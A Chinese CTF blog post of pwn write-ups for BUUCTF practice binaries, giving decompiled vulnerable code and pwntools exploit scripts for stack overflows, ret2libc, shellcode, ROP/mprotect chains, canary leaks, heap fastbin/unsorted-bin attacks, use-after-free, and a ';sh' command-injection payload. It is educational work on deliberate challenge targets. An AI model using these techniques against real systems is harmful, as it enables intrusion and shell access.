PWN-BUUCTF-2

本文最后更新于 2025年12月24日 凌晨

ez_pz_hackover_2016

考点

  • 32位栈溢出
    • Ret2libc
  • Ret2shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void *__cdecl vuln(int src, size_t n)
{
_BYTE dest[50]; // [esp+6h] [ebp-32h] BYREF

return memcpy(dest, &src, n);
}

void *chall()
{
size_t n; // eax
void *result; // eax
char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
_BYTE *v3; // [esp+40Ch] [ebp-Ch]

printf("Yippie, lets crash: %p\n", s);
printf("Whats your name?\n");
printf("> ");
fgets(s, 0x3FF, stdin);
n = strlen(s);
v3 = memchr(s, 10, n);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", s);
result = (void *)strcmp(s, "crashme");
if ( !result )
return vuln((char)s, 0x400u);
return result;
}

1
2
3
4
5
6
7
8
9
10
# Exp
## NX没开,就不打libc了,挺麻烦的,直接往栈上写shell快很多
## 我这里的利用思路是利用vuln上的栈帧,通过chall函数leak的s的地址计算偏移得到复制字符串后的shellcode地址
## 要注意一点,就是vuln的dest栈不对齐,自己填补一下不然ret地址会填错
ru('lets crash: ')
stack_sh = int(r(10),16) - 0x1c
lgs(hex(stack_sh))

payload = b'crashme\x00aa' + junk(0x10) + p(stack_sh) + asm(shellcraft.sh())
sla('> ',payload)

mrctf2020_shellcode

考点

  • Ret2shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (*buf[129])(void); // [rsp+0h] [rbp-410h] BYREF
int v5; // [rsp+40Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Show me your magic!");
v5 = read(0, buf, 0x400uLL);
if ( v5 > 0 )
buf[0]();
return 0;
}
1
2
3
# Exp
## 输入的东西会直接被执行,那么我们直接输入shell即可
payload = asm(shellcraft.sh())

jarvisoj_level3_x64

考点

  • 64栈溢出(无后门)
  • Ret2libc
1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

write(1, "Input:\n", 7uLL);
return read(0, buf, 0x200uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Exp
func_plt = elf.plt['write']
func_got = elf.got['write']
again = elf.sym['main']

overoff = 0x80+8

rdiRet = 0x00000000004006b3
rsi_r15_ret = 0x00000000004006b1
Ret = 0x0000000000400499

payload = overoff * b'a'
payload += p(rdiRet) + p(1) +p(rsi_r15_ret) + p(func_got) + p(0) + p(func_plt)
payload += p(again)

sla("Input:\n",payload)

funcAddr = u(rl().strip()[:6].ljust(8,b'\x00'))
lgs(hex(funcAddr))

libc = LibcSearcher('write',funcAddr)
libcBase = funcAddr - libc.dump('write')

sysAddr,shellStr = SLSysBin(libc,libcBase)

payload = overoff * b'a' + p(rdiRet) + p(shellStr) + p(sysAddr)

sl(payload)

bjdctf_2020_babyrop2

考点

  • canary
  • fmt
    • 数据收集
  • 64位栈溢出(无后门)
  • Ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(s_0);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 vuln()
{
_BYTE buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Exp
## 通过gitf函数leak出canary,方便我们后续实现栈溢出,后边就是基本Ret2libc了,唯一要注意的就是canary放的位置
ru('help u!\n')
payload = b'%7$p'
sl(payload)
canary = int(r(18),16)
lgs(hex(canary))

func_plt = elf.plt['puts']
func_got = elf.got['puts']
again = elf.sym['vuln']

rdiRet = 0x00400993
Ret = 0x004005f9


payload = junk(0x20-8) + p(canary)*2
payload += p(rdiRet) + p(func_got) + p(func_plt)
payload += p(again)
sla('u story!\n',payload)

funcAddr = u(rl().strip()[:6].ljust(8,b'\x00'))
lgs(hex(funcAddr))

libc = LibcSearcher('puts',funcAddr)
libcBase = funcAddr - libc.dump('puts')
sysAddr,shellStr = SLSysBin(libc,libcBase)

payload = junk(0x20-8) + p(canary)*2
payload += p(Ret) + p(rdiRet) + p(shellStr) + p(sysAddr)
sl(payload)

bjdctf_2020_router

考点

  • 命令拼接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-74h] BYREF
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
char dest[8]; // [rsp+20h] [rbp-60h] BYREF
__int64 v7; // [rsp+28h] [rbp-58h]
int v8; // [rsp+30h] [rbp-50h]
char v9; // [rsp+34h] [rbp-4Ch]
char buf_1[56]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v11; // [rsp+78h] [rbp-8h]

v11 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
*(_QWORD *)dest = 0x20676E6970LL;
v7 = 0LL;
v8 = 0;
v9 = 0;
v4 = 0;
puts("Welcome to BJDCTF router test program! ");
while ( 1 )
{
menu();
puts("Please input u choose:");
v4 = 0;
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
puts("Please input the ip address:");
read(0, buf, 0x10uLL);
strcat(dest, buf);
system(dest);
puts("done!");
break;
case 2:
puts("bibibibbibibib~~~");
sleep(3u);
puts("ziziizzizi~~~");
sleep(3u);
puts("something wrong!");
puts("Test done!");
break;
case 3:
puts("Please input what u want to say");
puts("Your suggest will help us to do better!");
read(0, buf_1, 0x3AuLL);
printf("Dear ctfer,your suggest is :%s", buf_1);
break;
case 4:
puts("Hey guys,u think too much!");
break;
case 5:
puts("Good Bye!");
exit(-1);
default:
puts("Functional development!");
break;
}
}
}
1
2
3
4
# Exp
sla('choose:',str(1))
payload = b';sh\x00'
sa('address:',payload)

babyheap_0ctf_2017

考点

  • HEAP
    • 堆布局
    • Unsorted bin Attack - Leak
    • House Of Spirit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# 源代码有点难看,修改了一下结构体
00000000 struct __fixed note // sizeof=0x18
00000000 {
00000000 __int64 flag;
00000008 __int64 size;
00000010 void *content;
00000018 };


unsigned int __fastcall Show(note *notea)
{
unsigned int flag; // eax
unsigned int flag_1; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
flag = sub_138C();
flag_1 = flag;
if ( flag < 0x10 )
{
flag = notea[flag].flag;
if ( flag == 1 )
{
puts("Content: ");
sub_130F(notea[flag_1].content, notea[flag_1].size);
return puts(s_0);
}
}
return flag;
}

note *__fastcall Delete(note *notea)
{
note *n0x10; // rax
int n0x10_1; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
n0x10 = (note *)sub_138C();
n0x10_1 = (int)n0x10;
if ( (unsigned int)n0x10 < 0x10 )
{
n0x10 = (note *)LODWORD(notea[(int)n0x10].flag);
if ( (_DWORD)n0x10 == 1 )
{
LODWORD(notea[n0x10_1].flag) = 0;
notea[n0x10_1].size = 0LL;
free(notea[n0x10_1].content);
n0x10 = &notea[n0x10_1];
n0x10->content = 0LL;
}
}
return n0x10;
}

__int64 __fastcall Edit(note *note)
{
__int64 n0x10_1; // rax
int n0x10_2; // [rsp+18h] [rbp-8h]
int n0x10; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
n0x10_1 = sub_138C();
n0x10_2 = n0x10_1;
if ( (unsigned int)n0x10_1 < 0x10 )
{
n0x10_1 = LODWORD(note[(int)n0x10_1].flag);
if ( (_DWORD)n0x10_1 == 1 )
{
printf("Size: ");
n0x10_1 = sub_138C();
n0x10 = n0x10_1;
if ( (int)n0x10_1 > 0 )
{
printf("Content: ");
return sub_11B2(note[n0x10_2].content, n0x10);
}
}
}
return n0x10_1;
}

void __fastcall Add(note *note)
{
int i; // [rsp+10h] [rbp-10h]
int n4096; // [rsp+14h] [rbp-Ch]
void *content; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !LODWORD(note[i].flag) )
{
printf("Size: ");
n4096 = sub_138C();
if ( n4096 > 0 )
{
if ( n4096 > 0x1000 )
n4096 = 0x1000;
content = calloc(n4096, 1uLL);
if ( !content )
exit(-1);
LODWORD(note[i].flag) = 1;
note[i].size = n4096;
note[i].content = content;
printf("Allocate Index %d\n", i);
}
return;
}
}
}


__int64 __fastcall main(note *note, char **a2, char **a3)
{
note *notea; // [rsp+8h] [rbp-8h]

notea = (note *)sub_B70();
while ( 1 )
{
memu(note, a2);
switch ( sub_138C() )
{
case 1LL:
note = notea;
Add(notea);
break;
case 2LL:
note = notea;
Edit(notea);
break;
case 3LL:
note = notea;
Delete(notea);
break;
case 4LL:
note = notea;
Show((__int64)notea);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# Exp
def Add(size,content):
sla('Command: ',str(1))
sla('Size: ',str(size))

def Edit(index,size,content):
sla('Command: ',str(2))
sla('Index: ',str(index))
sla('Size: ',str(size))
sla('Content: ',content)

def Del(index):
sla('Command: ',str(3))
sla('Index: ',str(index))

def Show(index):
sla('Command: ',str(4))
sla('Index: ',str(index))
ru('Content: \n')

Add(0x10,'aaaa') #idx = 0
Add(0x10,'aaaa') #idx = 1
Add(0x10,'aaaa') #idx = 2

Add(0x10,'aaaa') #idx = 3
Add(0x80,'aaaa') #idx = 4

Del(1)
Del(2)

thunk1_prev_size = 0
thunk1_size = 0x21

thunk2_prev_size = 0
thunk2_size = 0x21

payload = junk(0x10)
payload += p(thunk1_prev_size) + p(thunk1_size) + junk(0x10)
payload += p(thunk2_prev_size) + p(thunk2_size) + p8(0x80)

Edit(0,len(payload),payload)


thunk3_prev_size = 0
thunk3_size = 0x21

thunk4_prev_size = 0
thunk4_size = 0x21 #0x91

payload = junk(0x10)
payload += p(thunk4_prev_size) + p(thunk4_size)
Edit(3,len(payload),payload)


Add(0x10,'aaaa') #idx = 1
Add(0x10,'aaaa') #idx = 2 | idx = 4
Add(0x10,'aaaa') #idx = 5
thunk4_prev_size = 0
thunk4_size = 0x91

payload = junk(0x10)
payload += p(thunk4_prev_size) + p(thunk4_size)
Edit(3,len(payload),payload)
Del(4)

Show(2)
main_arena = u(r(6).ljust(8,b'\x00')) - 88
__malloc_hook = main_arena - 0x10
libcbase = __malloc_hook - 0x3c4b10

lgs(hex(main_arena),'main_arena')
lgs(hex(__malloc_hook),'__malloc_hook')
lgs(hex(libcbase),'libcbase')

Add(0x60,'aaaa')#idx = 2 | idx = 4

Del(4)
fake_thunk = __malloc_hook - 0x23
payload = p(fake_thunk)

Edit(2,len(payload),payload)

Add(0x60,'aaaa')# idx = 4
Add(0x60,'aaaa')# idx = 6

one_gadgets = [i+libcbase for i in [0x4526a, 0xf02a4, 0xf1147] ]

num = __malloc_hook - (fake_thunk+0x10)

payload = junk(num) + p(one_gadgets[0])
Edit(6,len(payload),payload)

Add(0x10,b'aaaa')

inter()

inndy_rop

考点

  • 一把梭(ropchain)
  • 静态编译
    • mprotect
  • 栈溢出
1
2
3
4
5
6
int overflow()
{
_BYTE v1[12]; // [esp+Ch] [ebp-Ch] BYREF

return gets(v1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Exp
## ROPgadget --binary pwn --ropchain

p = b'a'*0x10

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80


## mprotect
rop = ROP('./pwn', badchars='\x0a')
mAddr = 0x80e9000
mLen = 0x1000
mStats = 0x7

rop.raw(cyclic(0x10))
rop.mprotect(mAddr, mLen, mStats)
rop.read(0, mAddr, 0x100)
rop.call(mAddr)

payload = rop.chain()
sl(payload)

payload = asm(shellcraft.sh())
sl(payload)

jarvisoj_test_your_memory

考点

  • 32位栈溢出+后门
  • 函数参数调整
  • 缓冲区刷新
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl mem_test(char *s2)
{
char s[19]; // [esp+15h] [ebp-13h] BYREF

memset(s, 0, 0xBu);
puts("\nwhat???? : ");
printf("0x%x \n", hint); // "cat flag"
puts("cff flag go go go ...\n");
printf("> ");
__isoc99_scanf("%s", s);
if ( !strncmp(s, s2, 4u) )
return puts("good job!!\n");
else
return puts("cff flag is failed!!\n");
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t seed; // eax
char s2[11]; // [esp+1Dh] [ebp-13h] BYREF
int n10; // [esp+28h] [ebp-8h]
int i; // [esp+2Ch] [ebp-4h]

n10 = 10;
puts("\n\n\n------Test Your Memory!-------\n");
seed = time(0);
srand(seed);
for ( i = 0; i < n10; ++i )
s2[i] = alphanum_2626[rand() % 0x3Eu];
printf("%s", s2);
mem_test(s2);
return 0;
}
1
2
3
# Exp
addr = 0x080487E0
payload = b'a'*0x17 + p(elf.sym['win_func']) + p(elf.sym['main']) + p(addr)

picoctf_2018_buffer overflow 1

考点

  • 32位栈溢出
  • Ret2shellcode
  • ROPgadget
1
2
3
4
5
6
7
8
9
int vuln()
{
int return_address; // eax
char s[40]; // [esp+0h] [ebp-28h] BYREF

gets(s);
return_address = get_return_address();
return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", return_address);
}
1
2
3
4
# Exp
## 利用jmp esp执行shell
jmp_esp = 0x0804885b
payload = b'a'*0x2c + p(jmp_esp) + asm(shellcraft.sh())

jarvisoj_level4

考点

  • 32位栈溢出
  • Ret2libc
1
2
3
4
5
6
ssize_t vulnerable_function()
{
_BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Exp
func_plt = elf.plt['write']
func_got = elf.got['write']
again = elf.sym['vulnerable_function']

overoff = 0x88+4

payload = overoff*b'a' + p(func_plt) + p(again) + p(1) + p(func_got) + p(4)

sl(payload)

func_addr = u(r(4))
print(hex(func_addr))

libc = ELF('./libc-2.23.so')
libcBase = func_addr - libc.sym['write']

sysAddr,shellStr = LLSysBin(libc,libcBase)

payload = overoff*b'a' + p(sysAddr)+ p(again) + p(shellStr)
sl(payload)

[ZJCTF 2019]EasyHeap

考点

  • HEAP
    • Unsortbin Attack(buu把flag放根目录了,所以走不了)
    • house of spirit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
int menu()
{
puts("--------------------------------");
puts(" Easy Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}

unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
heaparray[i] = (note *)malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 edit_heap()
{
unsigned int n0xA; // [rsp+4h] [rbp-1Ch]
__int64 size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[n0xA] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[n0xA], size);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}


unsigned __int64 delete_heap()
{
unsigned int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[n0xA] )
{
free(heaparray[n0xA]);
heaparray[n0xA] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
## 6666 buu你是真不干人事昂
Congrt !
cat: /home/pwn/flag: No such file or directory
--------------------------------
Easy Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :$
#-----------------------------------------------------------------#
# Exp Unsorted bin attack

def Add(size,content):
sla('choice :',str(1))
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)

def Edit(index,size,content):
sla('choice :',str(2))
sla('Index :',str(index))
sla('Size of Heap : ',str(size))
sla('Content of heap : ',content)

def Del(index):
sla('choice :',str(3))
sla('Index :',str(index))

def catflag():
sla('choice :',str(0x1305))

Add(0x20,b'aaaa')
Add(0x80,b'aaaa')
Add(0x20,b'aaaa')


Del(1)

target = 0x006020C0
fd = 0
bk = target - 0x10
prev_size = 0
fake_chunk_size = 0x91


fake_chunk = p(prev_size) + p(fake_chunk_size)
fake_chunk += p(fd) + p(bk)

payload = cyclic(0x20)
payload += fake_chunk

Edit(0,len(payload),payload)
Add(0x80,b'bbbb')

catflag()
## 要注意一点是,在高版本Ubuntu中引入了tcache,所以本地的时候要先填满tcache才可以将chunk收入unsorted bin,要不就换环境,换低点即可

#-----------------------------------------------------------------#

# Exp house of Spririt
def Add(size,content):
sla('choice :',str(1))
sla('Size of Heap : ',str(size))
sla('Content of heap:',content)

def Edit(index,size,content):
sla('choice :',str(2))
sla('Index :',str(index))
sla('Size of Heap : ',str(size))
sla('Content of heap : ',content)

def Del(index):
sla('choice :',str(3))
sla('Index :',str(index))

def catflag():
sla('choice :',str(0x1305))

Add(0x60,'TY')
Add(0x60,'TY')

Del(1)

fake_thunk = 0x06020B0 - 3
fake_thunk_prev_siez = 0
fake_thunk_siez = 0x71

chunk0 = junk(0x60)

payload = chunk0
payload += p(fake_thunk_prev_siez) + p(fake_thunk_siez)
payload += p(fake_thunk)
Edit(0,len(payload),payload)

Add(0x60,'sh\x00')
Add(0x60,'aaaa')

free_got = elf.got['free']

note_arrary = 0x06020E0

num = note_arrary - (fake_thunk + 0x10)

payload = junk(num)
payload += p(free_got)
Edit(2,len(payload),payload)

sysaddr = elf.plt['system']
payload = p(sysaddr)

Edit(0,len(payload),payload)
Del(1)

hitcontraining_uaf

考点

  • HEAP
    • UAF

UAF原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# 整理一下结构体
note *del_note()
{
note *result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int count; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
count = atoi(buf);
if ( count < 0 || count >= count )
{
puts("Out of bound!");
_exit(0);
}
result = notelist[count];
if ( result )
{
free(notelist[count]->content);
free(notelist[count]);
return (note *)puts("Success");
}
return result;
}

note **print_note()
{
note **result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int count; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
count = atoi(buf);
if ( count < 0 || count >= count )
{
puts("Out of bound!");
_exit(0);
}
result = (note **)notelist[count];
if ( result )
return (note **)notelist[count]->print(notelist[count]);
return result;
}

note *add_note()
{
note *count; // eax
note *v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]

count = (note *)count;
if ( count > 5 )
return (note *)puts("Full");
for ( i = 0; i <= 4; ++i )
{
count = notelist[i];
if ( !count )
{
notelist[i] = (note *)malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
notelist[i]->print = (void (*)(int))print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = notelist[i];
v1->content = malloc(size);
if ( !notelist[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
return (note *)++count;
}
}
return count;
}

int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int n2; // eax
char buf[4]; // [esp+0h] [ebp-Ch] BYREF
int *p_argc; // [esp+4h] [ebp-8h]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
n2 = atoi(buf);
if ( n2 != 2 )
break;
del_note();
}
if ( n2 > 2 )
{
if ( n2 == 3 )
{
print_note();
}
else
{
if ( n2 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( n2 != 1 )
goto LABEL_13;
add_note();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Exp
## 很简单的利用思路了,通过UAF将chunk中的print函数替换成system,show一下sh即可
def Add(size,content):
sla('choice :',str(1))
sla('Note size :',str(size))
sla('Content :',content)

def show(index):
sla('choice :',str(3))
sla('Index :',str(index))


def Del(index):
sla('choice :',str(2))
sla('Index :',str(index))

Add(0x10,'aaaa')
Add(0x10,'bbbb')

Del(0)
Del(1)

Add(8,p(elf.sym['magic']))
show(0)

picoctf_2018_buffer overflow 2

考点

  • 32位栈溢出+后门
  • 函数参数调整
1
2
3
4
5
6
7
int vuln()
{
char s[108]; // [esp+Ch] [ebp-6Ch] BYREF

gets(s);
return puts(s);
}
1
2
# Exp
payload = b'a'*0x70 + p(elf.sym['win']) + p(0) + p(0xDEADBEEF) + p(0xDEADC0DE)

cmcc_simplerop

考点

  • 一把梭(ropchain)
  • 静态编译
    • mprotect
  • 32位栈溢出
1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h] BYREF

puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 0x64);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Exp
## ropchain要修改(长度限制),用mprotect吧

rop = ROP('./pwn', badchars='\x0a')
mAddr = 0x80e9000
mLen = 0x1000
mStats = 0x7

rop.raw(cyclic(0x20))
rop.mprotect(mAddr, mLen, mStats)
rop.read(0, mAddr, 0x100)
rop.call(mAddr)

payload = rop.chain()
sl(payload)

payload = asm(shellcraft.sh())
sl(payload)

mrctf2020_easyoverflow

考点

  • 栈上数据修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall check(__int64 a1)
{
int i; // [rsp+18h] [rbp-8h]
int i_1; // [rsp+1Ch] [rbp-4h]

i_1 = strlen(fake_flag); // "n0t_r3@11y_f1@g"
for ( i = 0; ; ++i )
{
if ( i == i_1 )
return 1LL;
if ( *(i + a1) != fake_flag[i] ) // "n0t_r3@11y_f1@g"
break;
}
return 0LL;
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[48]; // [rsp+0h] [rbp-70h] BYREF
_DWORD ju3t_@_f@k3_f1@g[6]; // [rsp+30h] [rbp-40h] BYREF
__int64 v6; // [rsp+48h] [rbp-28h]
__int64 v7; // [rsp+50h] [rbp-20h]
__int64 v8; // [rsp+58h] [rbp-18h]
__int16 v9; // [rsp+60h] [rbp-10h]
unsigned __int64 v10; // [rsp+68h] [rbp-8h]

v10 = __readfsqword(0x28u);
strcpy(ju3t_@_f@k3_f1@g, "ju3t_@_f@k3_f1@g");
BYTE1(ju3t_@_f@k3_f1@g[4]) = 0;
HIWORD(ju3t_@_f@k3_f1@g[4]) = 0;
ju3t_@_f@k3_f1@g[5] = 0;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0;
gets(v4, argv);
if ( !check(ju3t_@_f@k3_f1@g) )
exit(0);
system("/bin/sh");
return 0;
}
1
2
# Exp
payload = b'a'*(0x70-0x40)+b'n0t_r3@11y_f1@g\x00'

wustctf2020_getshell_2

考点

  • 32位栈溢出+后门
  • 溢出技巧之call与plt
1
2
3
4
5
6
7
8
9
10
11
12
int shell()
{
return system("/bbbbbbbbin_what_the_f?ck__--??/sh");
}


ssize_t vulnerable()
{
_BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF

return read(0, buf, 0x24u);
}
1
2
3
